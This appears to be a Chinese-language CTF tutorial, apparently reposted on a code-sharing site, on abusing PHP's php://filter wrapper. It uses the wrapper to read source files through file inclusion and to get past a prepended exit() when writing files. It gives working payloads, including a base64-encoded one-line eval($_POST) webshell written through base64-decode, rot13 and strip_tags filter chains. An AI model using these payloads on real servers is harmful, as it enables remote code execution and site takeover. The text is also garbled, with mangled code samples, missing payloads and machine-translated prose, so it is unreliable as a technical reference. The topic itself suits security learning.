易于使用和高级编程 PHP 伪协议过滤器协议
php://filter
是一个元包装器,设计用于在打开数据流时过滤应用程序。这对于一体化文件函数(例如 readfile()、file() 和 file_get_contents())非常有用,在这些函数中,在读取流内容之前没有应用其他过滤器的选项。
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
首先列出文件中包含的最简单的示例代码:
$file = $_GET["file"];
include($file);
?>
同目录下有一个文件:
$flag = "flag{Lxxx}";
如果要读取该文件,可以使用过滤器 伪协议及参数如下:
?file=php://filter//resource=
这样就可以读取文件的加密内容 base64
PD9waHANCiRmbGFnID0gImZsYWd7THh4eH0iOw0K
对于协议 有一个过滤器 不只这种写法: 除了使用过滤器之外,还可以使用其他过滤器,比如编码类型字符,payload如下: 得到结果: 解码一下,你也可以得到原文内容 得到结果: 其他相关PHP支持官方字符编码文档如下:PHP: Supported Character Encodings – Manually过滤器协议的高级使用 使用pseudofilter -绕过死亡死亡和退出死亡的协议 假设我们有以下代码: 这几行代码允许我们写入文件,但是当我们写入文件时,命令exit添加在我们编写的字符串之前。这就导致即使我们给木马写了一个句子,它仍然无法执行该句子。 在分析这几行代码时,我们总共需要传递两个参数,一个是POST请求的content,另一个是GET文件名的filename?file=php://filter/read=/resource=
#这一种是指定读链的筛选列表
?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=
?<hp< span=""></hp<>
p$
lfga= " lfgaL{xx}x;"
$str = "lfga= \" lfgaL{xx}x;\"";
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>
flag = "flag{Lxxx}";
$content = $_POST['content'];
file_put_contents($_GET['filename'], "".$content);
?filename=php://filter/convert.base64-decode/resource=
POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
现在我们打开文件:
我们可以发现里面有很多乱码。原因是不仅我们加密的木马句子被base64解码了,之前的死亡出口也被解码了。
我们仔细分析一下死亡退出代码:
base64编码只包含64个可打印字符,而当PHP解码base64并遇到不在其中的字符时,它会选择跳过将有效字符重新组装成一个解码时的字符串。 例如: 得到结果:Lxxx 如果我们在变量 str 中添加一些 不可见字符 ♸ ( \x00 ,? ) 结果是still: Lxxx 因此,对于死亡退出的代码,等字符以及空格不符合base64解码的范围。最终只有phpexit7个字符满足解码要求。 Base64解码的时候是一组4个字节,所以少了一个,所以我们手动添加了这个。 负载传递如下: 内容第一个字符a是我们添加的❙我们当前跟踪的内容是,❀可以看到这句话木马编写成功。 除了使用base64 编码绕过之外,我们还可以使用rot13编码绕过。与base64相比编码, rot13更方便绕过死亡终止,因为不需要考虑之前添加的内容是否可以用♸‼️❙‼️‼️来解码,并且不需要计算可以解码的字符数base64。 同样是上面的示例代码: 接收负载: 打开文件: 可以看到一句话木马也已经写入成功。 虽然rot13比较方便,但还是有一个缺点,就是当服务器开启短标签解析时,即使写了一句木马,PHP也不会解析。 仔细看死亡退出代码: 可以看到死亡退出代码其实是一个XML标签,所以我们可以使用strip_tags函数去掉XML标签 另外,过滤日志允许我们使用不同的过滤器,所以我们还是重点关注上面的代码示例: 传递payload如下: 查看 参见文档中的木马句子Clean没有任何杂质?$str = "THh4eA==";
echo base64_decode($str);
?>
?filename=php://filter/convert.base64-decode/resource=
POSTDATA: content=aPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
rot13 编码绕过:
$content = $_POST['content'];
file_put_contents($_GET['filename'], "".$content);
?filename=php://filter/string.rot13/resource=
POSTDATA: content=
跳过多个过滤器:
$content = $_POST['content'];
file_put_contents($_GET['filename'], "".$content);
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=
POSTDATA: content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
版权声明
本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。